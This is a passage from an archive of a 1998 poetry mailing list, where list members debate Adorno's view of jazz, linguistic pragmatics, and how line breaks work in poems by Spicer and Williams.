> *I don't think this poem is a cop out. I think the reduction*
> *of this poem to an anthem might be. But at least is a*
> *shallow or cursory reading of it.*
>
> *I feel like addressing Anselm's "I'd say there's a lot of*
> *poets who like to see others see them noticing that*
> *looking right can be a trick & thereby trying to look wrong*
> *& by extension right." Or at least asking him what he*
> *means. Who are these poets for whom being looked at is*
> *primary? And how was the conclusion that this is "the case"*
> *reached? Are those questioning cultural (including*
> *aesthetic) "givens" preening? Merely?*
>
> *These aren't rhetorical questions. Thanks.*
>
> *Gary*

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281. **Michael Magee**

Re: Pragmatics

Fri 9 Oct 1998

Well, now we know why that class was acting so "theoretically antipragmatic" - thanks John. If the class was assuming with Morris that "users of signs are not also themselves signs" then that would go along way to explaining their discomfort w/ Ron's DEMO. -m.

According to John Latta: >
> Practically, this distinction seemed

> to legitimate the place of social context for language study,
> which was a crucial feature of both John Dewey and
> Ludwig Wittgenstein's philosophies at that time, as well as
> of the work of Sapir, Malinowski, and others. Yet Morris's
> behaviorism unsemeiotically assumed that "users" of signs
> are not also themselves signs. Similarly, he assumed the
> logical empiricist "myth of the given" in viewing objects of
> signs--designata or denotata--as not themselves signs, but
> as "things" to be denoted by semantic reference. Hence
> what is called "pragmatics" is not only theoretically
> antipragmatic, but also illogical for the same reasons that
> Peirce showed in his critiques of immediate, dyadic
> knowledge. The lack of theoretical soundness in Morris's
> concept of "pragmatics," however, has not to date had an
> impact on its normalization in linguistics and related fields
> which employ the term."

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282. **Michael Magee**

Re: Adorno & Jazz

Fri 9 Oct 1998

Adorno wrote his first article on jazz in 1936 and another came out in 1967, both inexcusably shitty. Yes, he's reacting to what he saw as the commercialized "pseudo-individualism" of the swing era - but, for chrissake, the guy is a cultural critic, a historicist, and you would think he'd be more careful. Part of the problem, as far as I'm concerned, is that Adorno's paragdigms don't fit particularly well on top of cultural space like, say, the Tulsa, Oklahoma of the late twenties and thirties - one of the important sites where Kansas City-style swing is born. This is a radically improvisational culture: check out Count Basie's autobiography *Good Morning Blues* or Ralph Ellison's essay "Going to the Territory" to get a sense of just how off-base Adorno's thinking is in this case.

-m.

According to R. Gancie/C.Parcelli:
> > Many of the discussions on the list that involve Adorno mention as
> asides his 'revolting' position vis a vis jazz. As an enthusiast of the
> Adorno of Negative Dialectics, Against Epistemology and Dialectic of
> Enlightenment which he wrote with Horkheimer, I too have found Adorno's
> position vis a vis jazz, critically suspect but not incomprehensible.
>
> Certainly, there is some truth to Adorno's critique of Stravinsky's "Le

> Sacre du printemps" in that the composer wants the music to sound like
> music from the "beginning of time", an obvious conceit. This kind of
> hegemony occurs again in Stravinsky's works that incorporate what
> Stravinsky interprets as jazz elements and as with Le Sacre one feels a
> kind of bourgeois appropriation on the part of the composer. The result
> is watered down primitivism even as the effect was at one time shocking
> and novel and now, for the non-primitive like myself, intensely
> pleasurable.
>
> On the other hand Schoenberg's twelve-tone technique is a revolt against
> a programmatic romanticism accreting in harmonic excess. Whatever the
> result (and I listen with enjoyment and often passion to all of the
> above music) Schoenberg, Berg and Webern, in Adorno's mind, revolted
> against the same sensibility that Stravinsky was exploiting albeit in
> anew way.
>
> But what jazz was Adorno attacking? I haven't done much of the legwork
> but it appears that Adorno's position toward jazz was cemented well
> before the advent of bebop when jazz was perhaps the preeminent form of
> popular music and was represented by many adulterated and highly
> commercialized forms bowdlerized by the recording industry which Adorno
> despised. This alone would have set a purist like Adorno off. Adorno was
> seeking a 'high art' musical form that would be embraced by the masses.
> Of course, Benjamin was right when he told Adorno that would never
> happen.
>
> But jazz itself with the advent of bebop began an aesthetically and
> politically self-induced process of marginalization and isolation that I
> as a young man saw as dove-tailing with twelve tone, serial and
> aleatoric music. I even wrote a long poem comparing the artistic and
> political revolutionary aspects of these forms of jazz and classical
> music called 'House Party Startin' named after a tune by the jazz
> pianist-composer, Herbie Nichols.
>
> One then wonders if Adorno in his intellectual pique was able to discern
> jazz from the consumer culture that used it when there was a dollar to
> be made and abused it when it could no longer fill the big ballrooms?
> Even his main bugaboo, a steady beat based on syncopation doesn't nearly
> always apply. Even if he didn't wait for Monk or Bud Powell, Bill Evans
> or Cecil Taylor he could have found copious exceptions in the music of
> Art Tatum and even the Count Basie.
>

> But even Lazarsfeld generous criticisms could not convince Adorno to
> bring a more 'empirical' and less polemical element to his constructs
> especially when they predicted seriality in every home. This ironically
> gives Adorno's work its great value for in that learned obstinance comes
> the clear exposition of extremes in a culture of consumption designed to
> advertise some fictional norm. Scoenberg's appeal to Adorno was as a
> revolutionary. Too bad he couldn't see it in Charlie Parker, Archie
> Shepp, Ornette Coleman and Miles Davis. (By the time of the latter
> fellows Adorno had returned to Europe but over there jazz was getting
> more respect than here and that should have told Teddy something.)
>
> So to answer my own question, Adorno would have probably produced a
> tortured intellectual construct that would allow a stubborn consistency
> to prevail in his critique even while he considered the social and
> aesthetic dovetailing that has occurred between jazz and classical music
> exemplified in say Anthony Braxton and Iannis Xenakis. I can remember
> reading Cage's Silence in Rudd Fleming's modern poetry class at the
> University of Maryland 30 years ago and then going home and popping on
> Coltrane's Ascension and thinking these cats are onto something that
> somehow expresses a marvelous continuity.---Carlo Parcelli
>

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283. **Mark Weiss**
(no subject)
Fri 9 Oct 1998

Adorno's contrasting of Stravinsky and the serialists was pretty standard stuff back then and into the sixties. Stravinsky was the hero of the mainstream (especially in the US and UK) and the bete noir of the rest of us, in no small part because he positioned himself to fill those roles, altho much of his late music is in fact serial (and quite wonderful). It's nice that all those wars are over so that we can listen to both with pleasure. Schoenberg, for one, was very interested in jazz. I would guess that Adorno's reaction was partially conditioned by his general annoyance at living in exile. A piece of gossip: Louise Varese told me that Charlie Parker showed up at the door unannounced one day in the last couple of years of his life and asked to see Edgard. They had never met. The two of them disappeared into Edgard's studio for the next six hours. Louise had no idea what transpired there. Oh to be a fly on that wall!

At 09:54 AM 10/9/98 +0000, you wrote:
>Many of the discussions on the list that involve Adorno mention as
>asides his 'revolting' position vis a vis jazz. As an enthusiast of the

>Adorno of Negative Dialectics, Against Epistemology and Dialectic of
>Enlightenment which he wrote with Horkheimer, I too have found Adorno's
>position vis a vis jazz, critically suspect but not incomprehensible.
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>Certainly, there is some truth to Adorno's critique of Stravinsky's "Le
>Sacre du printemps" in that the composer wants the music to sound like
>music from the "beginning of time", an obvious conceit. This kind of
>hegemony occurs again in Stravinsky's works that incorporate what
>Stravinsky interprets as jazz elements and as with Le Sacre one feels a
>kind of bourgeois appropriation on the part of the composer. The result
>is watered down primitivism even as the effect was at one time shocking
>and novel and now, for the non-primitive like myself, intensely
>pleasurable.
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>On the other hand Schoenberg's twelve-tone technique is a revolt against
>a programmatic romanticism accreting in harmonic excess. Whatever the
>result (and I listen with enjoyment and often passion to all of the
>above music) Schoenberg, Berg and Webern, in Adorno's mind, revolted
>against the same sensibility that Stravinsky was exploiting albeit in
>anew way.
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>but it appears that Adorno's position toward jazz was cemented well
>before the advent of bebop when jazz was perhaps the preeminent form of
>popular music and was represented by many adulterated and highly
>commercialized forms bowdlerized by the recording industry which Adorno
>despised. This alone would have set a purist like Adorno off. Adorno was
>seeking a 'high art' musical form that would be embraced by the masses.
>Of course, Benjamin was right when he told Adorno that would never
>happen.
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>politically self-induced process of marginalization and isolation that I
>as a young man saw as dove-tailing with twelve tone, serial and
>aleatoric music. I even wrote a long poem comparing the artistic and
>political revolutionary aspects of these forms of jazz and classical
>music called 'House Party Startin' named after a tune by the jazz
>pianist-composer, Herbie Nichols.
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>One then wonders if Adorno in his intellectual pique was able to discern
>jazz from the consumer culture that used it when there was a dollar to
>be made and abused it when it could no longer fill the big ballrooms?

>Even his main bugaboo, a steady beat based on syncopation doesn't nearly
>always apply. Even if he didn't wait for Monk or Bud Powell, Bill Evans
>or Cecil Taylor he could have found copious exceptions in the music of
>Art Tatum and even the Count Basie.
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>But even Lazarsfeld generous criticisms could not convince Adorno to
>bring a more 'empirical' and less polemical element to his constructs
>especially when they predicted seriality in every home. This ironically
>gives Adorno's work its great value for in that learned obstinance comes
>the clear exposition of extremes in a culture of consumption designed to
>advertise some fictional norm. Scoenberg's appeal to Adorno was as a
>revolutionary. Too bad he couldn't see it in Charlie Parker, Archie
>Shepp, Ornette Coleman and Miles Davis. (By the time of the latter
>fellows Adorno had returned to Europe but over there jazz was getting
>more respect than here and that should have told Teddy something.)
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>tortured intellectual construct that would allow a stubborn consistency
>to prevail in his critique even while he considered the social and
>aesthetic dovetailing that has occurred between jazz and classical music
>exemplified in say Anthony Braxton and Iannis Xenakis. I can remember
>reading Cage's Silence in Rudd Fleming's modern poetry class at the
>University of Maryland 30 years ago and then going home and popping on
>Coltrane's Ascension and thinking these cats are onto something that
>somehow expresses a marvelous continuity.---Carlo Parcelli
>
>

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284. Mark Weiss
(no subject)
Fri 9 Oct 1998

In this case emphasis and stress are two different things. There's metrics and there's grammatical placement which foregrounds. Even metrically there's far more stress and quantity to the one at the beginning of a grammatical structure and the one in no one."No. One listens to poetry."

At 11:25 AM 10/9/98 -0700, you wrote:
>Gary Sullivan, tell me, if you know,
>what you make of how Spicer's lines revise
>Stevens':
>

>The water never formed to mind or voice,
>Like a body wholly body, fluttering
>Its empty sleeves; and yet its mimic motion
>Made constant cry, caused constantly a cry,
>That was not ours, although we understood,
>Inhuman, of the veritable ocean.
>
>
>
>If Spicer's linebreak at "No/One listens to poetry" allows you,
>ambiguously, to understand the last line as a direction, or
>perhaps radio signal, to listen, then the "No" also becomes
>"Know": No (linebreak)-- Know (this). But even then, the next
>line doesn't emphasize "One" (unless you mean entirely as a
>matter of print, in which case someone's not listening); break
>the line wherever you like, the stresses always fall on "no"
>and "listens."
>
>
>Mark Baker
>
>
>_____
>
>>
>> The poem, in full, reads:
>>
>> This ocean, humiliating in its disguises
>> Tougher than anything.
>> No one listens to poetry. The ocean
>> Does not mean to be listened to. A drop
>> Or crash of water. It means
>> Nothing.
>> It
>> Is bread and butter
>> Pepper and salt. The death
>> That young men hope for. Aimlessly
>> It pounds the shore. White and aimless signals. No
>> One listens to poetry.
>>
>> The central image here being "This ocean," liquid, thing
>> later claimed "not mean[t] to be listened to." Which

>> is not to say not listened to. I'm curious why
>> "This ocean" is the first image we get in a book called
>> "Language" & in a section/poem called "Thing Language."
>> Is "this ocean" language, or is language seen as somehow like
>> an ocean? & therefore fluid? &, if fluid, not rigid
>> in its limits (what we might read as "meanings")?
>>
>> I think this poem itself "Aimlessly/ ... pounds the shore."
>> Meaning, pounds itself against something less liquid
>> than itself. Fizzling out against it. If we emphasize the
>> last word in the penultimate line, NO
>> it may be a repeat of the line previously given w/out
>> punctuation or linebreak. But, why? I think there's an
>> intentional ambiguity here. We emphasize first words in
>> a line, too: No
>> ONE listens to poetry. He's broken the line here I think
>> to suggest a reading alternative to the anthemic quip
>> most readers come away with. I think he's after more than
>> anthem, especially in a poem that claims "not mean[t] to be
>> listened to." An anthem means to be listened to. And in
>> a very unambiguous way.
>>
>> I don't think this poem is a cop out. I think the reduction
>> of this poem to an anthem might be. But at least is a
>> shallow or cursory reading of it.
>>
>> I feel like addressing Anselm's "I'd say there's a lot of
>> poets who like to see others see them noticing that
>> looking right can be a trick & thereby trying to look wrong
>> & by extension right." Or at least asking him what he
>> means. Who are these poets for whom being looked at is
>> primary? And how was the conclusion that this is "the case"
>> reached? Are those questioning cultural (including
>> aesthetic) "givens" preening? Merely?
>>
>> These aren't rhetorical questions. Thanks.
>>
>> Gary
>
>

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285. **Gary Sullivan**
Re: listening
Fri 9 Oct 1998

Hi, Mark,

Okay. Well, when I say out loud:

NO [linebreak] one LISTENS to poetry.

stressing where you say the stresses fall, the meaning I get, as heard is

NO [pause] one LISTENS to poetry.

I mean, as much as the other meanings resident/radiant there. Because there's a line-break there, and I can't ignore it.

Anyway, I read it this way (among other ways) because, reading Spicer, there's usually a lot going on in Spicer's poems: he does seem to really play with meanings in the way that he breaks lines, in the words he chooses (many of which tend to be puns). And, in this case, it wasn't even something I had to think about. I just saw it there and went, "Oh ... well, how come everyone always says Spicer only says the opposite of this?" or whatever.

I think it would interesting to think what it might mean, how it might inform the rest of the poem (& the rest of the poems in _Language_) if we DO take that last line as "One listens to poetry."

No?

Gary

> *If Spicer's linebreak at "No/One listens to poetry" allows you, ambiguously, to understand the last line as a direction, or perhaps radio signal, to listen, then the "No" also becomes "Know": No (linebreak)-- Know (this). But even then, the next line doesn't emphasize "One" (unless you mean entirely as a matter of print, in which case someone's not listening); break the line wherever you like, the stresses always fall on "no" and "listens."*
>
> *Mark Baker*

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286. **Roger Farr**
Re: Pragmatics
Fri 9 Oct 1998

Thank-you to all for the informative discussion of linguistic pragmatics and experimental writing. Just to clarify, I am a student in the class, and the response to "D E M O" ("I think I'm being made fun of here") was the prof.'s. At the end of the class, my sense of things was that I was possibly suspected of trying to "sabotage" the course (which was definitely *not* my intention) by introducing that poem. Generally, it seems that people doing pragmatics favor non-literary texts, especially transcriptions of conversations, court procedings, etc. Some interesting work has been done with schizophrenic speech and writing (see "Crazy Talk", by Rochester & Martin), through analysis of types of cohesive ties in such language.

By no means do I want to position myself as any kind of authority on -- or practioner of -- "linguistic pragmatics", though I may be able to offer some background to this approach.

Pragmatics as I understand it is not related to Rand or Dewey, etc.. The broadest possible definition would be that it concerns itself with understanding texts as "intentional human actions" (hmmmm . . .). Reference is treated as an act, and some key-words are deixis, "mutual knowledge", presupposition, implicature, coherence, etc. Apparently, linguistic pragmatists (if that's what they are called) see themselves as developing an approach to language which is in opposition to formal linguistics (syntax & grammar). Formal linguistics is criticized for relying to heavily on "constructed examples" and "decontextualized sentences" (The farmer killed the duckling), and also for searching for grammar-based models of meaning -- such models are seen as attempts to neutralize dissimilar contexts.

I am currently grappling with Deleuze and Guattari's account of pragmatics in "A Thousand Plateaus", where pragmatics is equated with "schizo-analysis" (146). This equation, of course, is seen as heretical by most pragmatists, though it is very interesting to someone engaged with experimental writing.

I can suggest these books for people interested in the subject. Not really "recommended reading" . . . just course books:

Levinson, "Pragmatics". Cambridge UP, 1983.

Brown and Yule, "Discourse Analysis". Cambridge UP, 1983.

Halliday & Hasan, "Cohesion in English". Longman, 1976.

Cheers,

Roger

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287. David Zauhar
Re: Adorno & Jazz
Fri 9 Oct 1998

A good book on Adorno and music is one with the unlikely title _The Negative Dialectics of Poodle Play_. The author's name escapes me at the moment, but the book is a reading of Frank Zappa's music using Adorno, and conversely, a critique of Adorno using Zappa's work. It's interesting because both Adorno and Zappa are, to say the least, problematic at times, but it's a good attempt at using theory to illuminate popculture, and to draw on more innovative aspects of popculture to interrogate theory.

At one point, though, the author criticizes (rightfully) Adorno's limitations in dealing w/ popular culture by likening the reading of Adorno writing on sunbathing (which TA does somewhere) to an experience of being dowsed with laughing gas.

It also occurs to me that Curtis White has a short story called "Critical Theory" which largely revolves around Adorno and Horkheimer driving to California from New York shortly after emigrating here in the 40s.

David Zauhar
University of Illinois at Chicago

... not being born is
the only tragedy
that we can imagine
but need never fear

--Alden Nowlan

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288. Roger Farr
Re: Pragmatics
Fri 9 Oct 1998

> *Pragmatics as I understand it is not related to Rand or Dewey, etc..*

Having just read the 5 or 6 posts that came in while I was writing my last message, I think I should reconsider the role played by Dewey in Lingprag!

Roger

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289. **MAYHEW**
Re: Adorno & Jazz
Fri 9 Oct 1998

I've read the later of Adorno's jazz essays, and fairly recently. He does mention bebop, but only to say it makes no difference. I can sense an irritation against European jazz connosieurs and certain claims for jazz that would have seemed pretentious or inflated to him.

I don't buy arguments of the type "he was only thinking of the popular, tin-pan alley kind of music." This is clearly not the case, and even if it were, it wouldn't excuse him. He throws out the Basie with the bathwater no matter how you look at it.

Jonathan Mayhew

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290. **Peter Balestrieri**
Kathleen Fraser
Fri 9 Oct 1998

Hi Folks,
Could someone please backchannel an email address for Kathleen Fraser?
Thanks,
Pete

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291. **Michael Magee**
Re: Pragmatics
Fri 9 Oct 1998

According to Roger Farr:
>
> >
> > Pragmatics as I understand it is not related to Rand or Dewey, etc..
>
> Having just read the 5 or 6 posts that came in while I was writing my last
> message, I think I should reconsider the role played by Dewey in Lingprag!
>
> Roger
>

Yes, reconsider - if "The broadest possible definition would be that it concerns itself with understanding texts as "intentional human actions" (hmmmm . . .). Reference is treated as an act, and some key-words are deixis, "mutual

knowledge", presupposition, implicature, coherence, etc." then there's an obvious debt here to Dewey, Wittgenstein, Burke and others basically involved with philosophical pragmatism, and "language as symbolic action." -m.

↑ Index

292. **Mark Prejsnar**
Re: Adorno & Jazz
Fri 9 Oct 1998

Just to clarify, the title is:

Frank Zappa : the negative dialectics of poodle play / by Ben Webster.

London : Quartet, 1994.

...Just in case, given the wackiness of the sound of the thing, someone begins to suspect that David is pulling our cyberleg. He ain't..

On Fri, 9 Oct 1998, David Zauhar wrote:

> *A good book on Adorno and music is one with the unlikely title _The Negative Dialectics of Poodle Play_. The author's name escapes me at the moment, but the book is a reading of Frank Zappa's music using Adorno, and conversely, a critique of Adorno using Zappa's work. It's interesting because both Adorno and Zappa are, to say the least, problematic at times, but it's a good attempt at using theory to illuminate popculture, and to draw on more innovative aspects of popculture to interrogate theory.*
>
> *At one point, though, the author criticizes (rightfully) Adorno's limitations in dealing w/ popular culture by likening the reading of Adorno writing on sunbathing (which TA does somewhere) to an experience of being dowsed with laughing gas.*
>
> *It also occurs to me that Curtis White has a short story called "Critical Theory" which largely revolves around Adorno and Horkheimer driving to California from New York shortly after emigrating here in the 40s.*
>
> *David Zauhar*
> *University of Illinois at Chicago*
>
> *... not being born is*
> *the only tragedy*
> *that we can imagine*
> *but need never fear*
>
> *--Alden Nowlan*

↑ Index

293. **Mark Prejsnar**
that jazz thread got inta my mind!
Fri 9 Oct 1998

Errr, the Poodle Play author is Ben Watson

NOT

Ben Webster, as i've just posted! Sorry.....

--mark p.

↑ Index

294. **Mark Baker**
Re: listening
Fri 9 Oct 1998

Yes.

I'd already agreed the linebreak can do what
you say with the "no," but not that it puts
emphasis on ONE LISTENS. If the poem stresses
listening, then a listener--not merely a reader--
would hear the natural stress in "one LISTens": it's
the listening, not the one who listens, that matters.
It's a language thing.

Mark Baker

_____
Gary Sullivan wrote:
>
> Hi, Mark,
>
> Okay. Well, when I say out loud:
>
> NO [linebreak] one LISTENS to poetry.
>
> stressing where you say the stresses fall, the meaning I get, as heard is
>
> NO [pause] one LISTENS to poetry.
>
> I mean, as much as the other meanings resident/radiant there. Because
> there's a line-break there, and I can't ignore it.
>
> Anyway, I read it this way (among other ways) because, reading Spicer,

> there's usually a lot going on in Spicer's poems: he does seem to really
> play with meanings in the way that he breaks lines, in the words he chooses
> (many of which tend to be puns). And, in this case, it wasn't even something
> I had to think about. I just saw it there and went, "Oh ... well, how come
> everyone always says Spicer only says the opposite of this?" or whatever.
>
> I think it would interesting to think what it might mean, how it might
> inform the rest of the poem (& the rest of the poems in _Language_) if we DO
> take that last line as "One listens to poetry."
>
> No?
>
> Gary
>
> > If Spicer's linebreak at "No/One listens to poetry" allows you,
> > ambiguously, to understand the last line as a direction, or
> > perhaps radio signal, to listen, then the "No" also becomes
> > "Know": No (linebreak)-- Know (this). But even then, the next
> > line doesn't emphasize "One" (unless you mean entirely as a
> > matter of print, in which case someone's not listening); break
> > the line wherever you like, the stresses always fall on "no"
> > and "listens."
> >
> >
> > Mark Baker

↑ Index

295. **Chicago Review**

Re: down the bottle, line breaks

Fri 9 Oct 1998

Robert Pinsky, in his new little book _The Sounds of Poetry_, argues that readers shouldn't pause at the ends of lines. They should follow the syntax, and "pause only as the grammar might pause." According to his theory, printed lines are a "notation" that should assist in making apprehensible the "vocal rhythms" already inherent in a work. Interestingly, his example is William Carlos Williams's "To a Poor Old Woman," which contains the well-known lines:

They taste good to her
They taste good
to her. They taste
good to her

You can see it...

Pinsky seems to say that the different rhythms and emphases of the "They taste good to her" variations manifest a "vocal alertness" that parallels the "sensory alertness" of the poem's speaker. The rhythmic differences are already "there" in the sentence; Williams's enjambment just makes us more likely to notice them (it heightens our perception of sound).

Spicer's ironic splitting of "no one" seems similar (since it is a variation on an earlier line): it makes you "listen" to poetry.

To speak of "hesitation" when syntax and line are in tension seems overly melodramatic. Why aren't all instances of enjambment "hesitations"? I think I agree with Pinsky that enjambment helps to show where the accents are distributed in a given sentence. It doesn't signify a dramatic pause.

Andrew Rathmann
Chicago

Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637-1794
ph/fax [redacted]
e-mail [redacted]

↑ Index

296. Mark Baker
Re: down the bottle, line breaks
Fri 9 Oct 1998

Then Pinsky's apparently recycling his own writing.
He made the same argument, with the same example, in
his review of Williams' _Collected_. But "To a Poor
Old Woman" is the easy textbook case of what free verse
supposedly does with enjambment. What can enjambment
bring to "vocal alertness" about a line that's not
repeated? In most verse, enjambment doesn't show
anything about "accents," especially if you don't
pause at linebreaks. Maybe I'll look at Pinsky's new book
to see if he enjambs his own argument differently in this
printing.

> *Robert Pinsky, in his new little book _The Sounds of Poetry_, argues that*

> *readers shouldn't pause at the ends of lines. They should follow the syntax, and "pause only as the grammar might pause." According to his theory, printed lines are a "notation" that should assist in making apprehensible the "vocal rhythms" already inherent in a work. Interestingly, his example is William Carlos Williams's "To a Poor Old Woman," which contains the well-known lines:*
>
> *They taste good to her*
> *They taste good*
> *to her. They taste*
> *good to her*
>
> *You can see it...*
>
> *Pinsky seems to say that the different rhythms and emphases of the "They taste good to her" variations manifest a "vocal alertness" that parallels the "sensory alertness" of the poem's speaker. The rhythmic differences are already "there" in the sentence; Williams's enjambment just makes us more likely to notice them (it heightens our perception of sound).*
>
> *Spicer's ironic splitting of "no one" seems similar (since it is a variation on an earlier line): it makes you "listen" to poetry.*
>
> *To speak of "hesitation" when syntax and line are in tension seems overly melodramatic. Why aren't all instances of enjambment "hesitations"? I think I agree with Pinsky that enjambment helps to show where the accents are distributed in a given sentence. It doesn't signify a dramatic pause.*
>
> *Andrew Rathmann*
> *Chicago*
>
> ----------
> *Chicago Review*
> *5801 S. Kenwood Ave.*
> *Chicago IL 60637-1794*
> *ph/fax* [redacted]
> *e-mail* [redacted]

↑ Index

297. **Laura E. Wright**

Re: line breaks down the bottle glug glug

Fri 9 Oct 1998

Poetry Project wrote:

> *Speaking of noticing looking right can be a trick, I'd say there's a lot of poets who like to see others see them noticing that looking right can be a trick & thereby trying to look wrong & by*

> *extension right. That's some of the current NYC post-innovative avant-gardener biz at the moment.*

I always look closer to right avant-gardening than apres-gardening.This is really a lie disguised as a clever lie, since I have no garden. Besides, I keep trying to be left and still ending up wrong.

"Robert Pinsky, in his new little book _The Sounds of Poetry_, argues that readers shouldn't pause at the ends of lines. They should follow the syntax, and "pause only as the grammar might pause." According to his theory, printed lines are a "notation" that should assist in making apprehensible the "vocal rhythms" already inherent in a work."

This is something that's always sort of bugged me. When I was a kid, I was taught to read through line breaks. Don't pause at the end of the line, it makes it sing-songy. Then I became a "poet" and was taught to pause at line breaks, to break the line where pausing. My general rule has become, if it's old and rhymed, don't pause, if it's newer, do pause, unless that doesn't seem to work, etc. In others words, it seems that one has to read the poem first in order to figure out how to go back and read it. Also, the line-break pause always seems to me to have more of the back of the throat in it than a strictly punctuational pause.

I remember a workshop where one participant spent the whole semester commenting on everyone's line breaks. Re. Pinsky, though, isn't the line break itself _part_ of the grammar of poetry?

Pause,
Laura W.

--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *

"All music is music..." -- Ted Berrigan
    *   *   *   *   *   *

"It is very much like it" -- Gertrude Stein

↑ Index

298. **Bob Grumman**

Re: down the bottle, line breaks

Fri 9 Oct 1998

This is a multi-part message in MIME format.

Andrew Rathmann writes that

Robert Pinsky, in his new little book _The Sounds of Poetry_, argues that readers shouldn't pause at the ends of lines. They should follow the syntax, and "pause only as the grammar might pause." According to his theory, printed lines are a "notation" that should assist in making apprehensible the "vocal rhythms" already inherent in a work. Interestingly, his example is William Carlos Williams's "To a Poor Old Woman," which contains the well-known lines:

> They taste good to her
> They taste good
> to her. They taste
> good to her
>
> You can see it...

I'm not sure I follow Andrew or Pinsky. To me the reader should stop where the words stop, partly to let what has just been read seep in deeper, partly to read the preceding line as a completed whole of some sort. In the Williams poem the line-breaks leave us thinking first about her, then about good, then about taste, then back to her--or, really, "good to her" as a solid block of meaning now. I don't see why any "vocal rhythms" in the text would be made more apprehensible by line breaks that one doesn't pause at.

Of course, I have a vested interest here: my whole definition of poetry depends on what I call "flow-breaks" such as standard line-breaks; they are what for me distinguish poetry from prose.

--Bob G.

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

----------732912574D4B--

↑ Index

299. **henry gould**
Re: down the bottle, line breaks
Fri 9 Oct 1998

---

enjambment is
boring.
the whole idea that a
break in the
line might
MEAN something
un-
interests it-
self.

↑ Index

300. **Mark Weiss**
Re: down the bottle, line breaks
Sat 10 Oct 1998

Line endings have different functions in different poems and poets. part of the fun of a new poem or poet is figuring out the music. Any blanket statement seems foolish to me. And the example Pinsky uses is idiotic--no question here about the pause at the linebreaks. Somebody should send the guy a telegram about breath groups. Incidentally, check out his poem in the new NYRB--how not to write a poem. Good piece by Geertz, tho.

At 03:36 PM 10/9/98 -0500, you wrote:
>Robert Pinsky, in his new little book _The Sounds of Poetry_, argues that
>readers shouldn't pause at the ends of lines. They should follow the
>syntax, and "pause only as the grammar might pause." According to his
>theory, printed lines are a "notation" that should assist in making
>apprehensible the "vocal rhythms" already inherent in a work.
>Interestingly, his example is William Carlos Williams's "To a Poor Old
>Woman," which contains the well-known lines:
>
>They taste good to her
>They taste good
>to her. They taste
>good to her
>
>You can see it...
>
>Pinsky seems to say that the different rhythms and emphases of the "They

>taste good to her" variations manifest a "vocal alertness" that parallels
>the "sensory alertness" of the poem's speaker. The rhythmic differences
>are already "there" in the sentence; Williams's enjambment just makes us
>more likely to notice them (it heightens our perception of sound).
>
>Spicer's ironic splitting of "no one" seems similar (since it is a
>variation on an earlier line): it makes you "listen" to poetry.
>
>To speak of "hesitation" when syntax and line are in tension seems overly
>melodramatic. Why aren't all instances of enjambment "hesitations"? I
>think I agree with Pinsky that enjambment helps to show where the accents
>are distributed in a given sentence. It doesn't signify a dramatic pause.
>
>Andrew Rathmann
>Chicago
>
>----------
>Chicago Review
>5801 S. Kenwood Ave.
>Chicago IL 60637-1794
>ph/fax [redacted]
>e-mail [redacted]
>
>

↑ Index

301. **Peter Quartermain**
Re: Kathleen Fraser
Sat 10 Oct 1998

Kathleen is at

[redacted]

Peter

At 12:07 PM 10/9/98 -0700, you wrote:
> Hi Folks,
> Could someone please backchannel an email address for Kathleen Fraser?
> Thanks,
> Pete
>
+ +
Peter Quartermain

846 Keefer Street
Vancouver
B.C.
Canada V6A 1Y7
Voice : [redacted]
Fax: [redacted]

+ + + +

"Yet none of this alters the fact that jazz has in its essence remained static, nor does it explain the resulting enigma that millions of people seem never to tire of its monotonous attraction."

"The range of the permissible in jazz is as narrowly circumscribed as in any particular cut of clothes."

"Anyone who allows the growing respectability of mass culture to seduce him into equating a popular song with modern art because of a few false notes squeaked by a clarinet; anyone who mistakes a triad studded with 'dirty notes' for atonality, has already capitulated to barbarism."

"In the process of integrating the asocial, jazz converges with the equally standardized schemas of the detective novel and its offshoots, which regularly distort or unmask the world so that asociality and crime become the everyday norm, but which at the same time charm away the seductive and ominous challenge through the inevitable triumph of order."

Adorno, "Perennial Fashion--Jazz" in PRISMS

Is this the final word on jazz? Of course not. Have Adorno's words in fact had any appreciable influence on jazz? Again, of course not. Is he right about some aspects of jazz and jazz listeners? Oh yes, quite right. I've owned a record store for twenty years and have listened to a fair amount of jazz and jazz talk: some of it stimulating, some of it fatuous. The danger, and the beauty as well, of this essay is that you can substitute for "jazz" most any identifiable style of music, monkey with a few of the definitions and pronouncements, and come up with something suitable to piss just about anyone off.

Duane Davis

↑ Index

304. joel lewis

Re: POETICS Digest - 8 Oct 1998 to 9 Oct 1998 (#1998-88)

Sat 10 Oct 1998

---

the name here is Ben WATSON, a former student of J.R, Prynne (whom he credits in the book and quotes from) as a poet, he writes and performs under the name OUT TO LUNCH.. Negative Dialetics of Poodle Play is published in US as well

joel lewis

> *--SFWKCCGBLGEAMUHBSRaVFRUESKBZCM*
> *Date: Fri, 9 Oct 1998 15:30:35 -0400*
> *From: Mark Prejsnar <[redacted]>*
> *Subject: Re: Adorno & Jazz*
> *MIME-Version: 1.0*

> *Content-Type: TEXT/PLAIN; charset=US-ASCII*
>
> *Just to clarify, the title is:*
>
> *Frank Zappa : the negative dialectics of poodle play / by Ben Webster.*
>
> *London : Quartet, 1994.*

↑ Index

305. **Stephen Cope**
Re: listening
Sat 10 Oct 1998

Re: Spicer -

"Meaning," it seems to me, as definitive, is precisely what the poem moves up against, resists, crashes into, and recedes from (the opposite of meaning as fluid). The ocean figures rather traditionally in Spicer's work - as an image of formlessness or chaos (I'm thinking in particular of Spicer's use of the image in the earlier books, say, _Admontions_ or _A Book of Music_). Or, in "Lament for the Makers:"

No call upon anyone but the timber drifting in the waves
Those blocks, those blobs of wood.
The sounds there, offshore, faint and short
They click or sound together - drift timber spending the night
    there floating just above this beach. Thump or sound
    together. The sound of driftwood the sound that is not
    really a sound at all.
At all
All of them
Cast
In the ghost of moonlight upon them
On shore.

This strikes me as Spicer's image of the poem's elements (wood/would/word in sound), but also of the serial method (i.e. one might read timber blocks as each a poem knocking up against others). It's synathesthetic, and I would hesitate to say that Spicer had meant simply that one must "listen to the sound it makes." (Pound), or that he was claiming something of an oral/aural nature. It is, after all, an _image_ (the elements of which recur ceaselessly in Spicer's poetry, as if to insist on the drift).

As for the poem at hand, line breaks, etc: how about "no ONE listens to poetry" (i.e. that there must be more than one)? Or what about the status of "The ocean

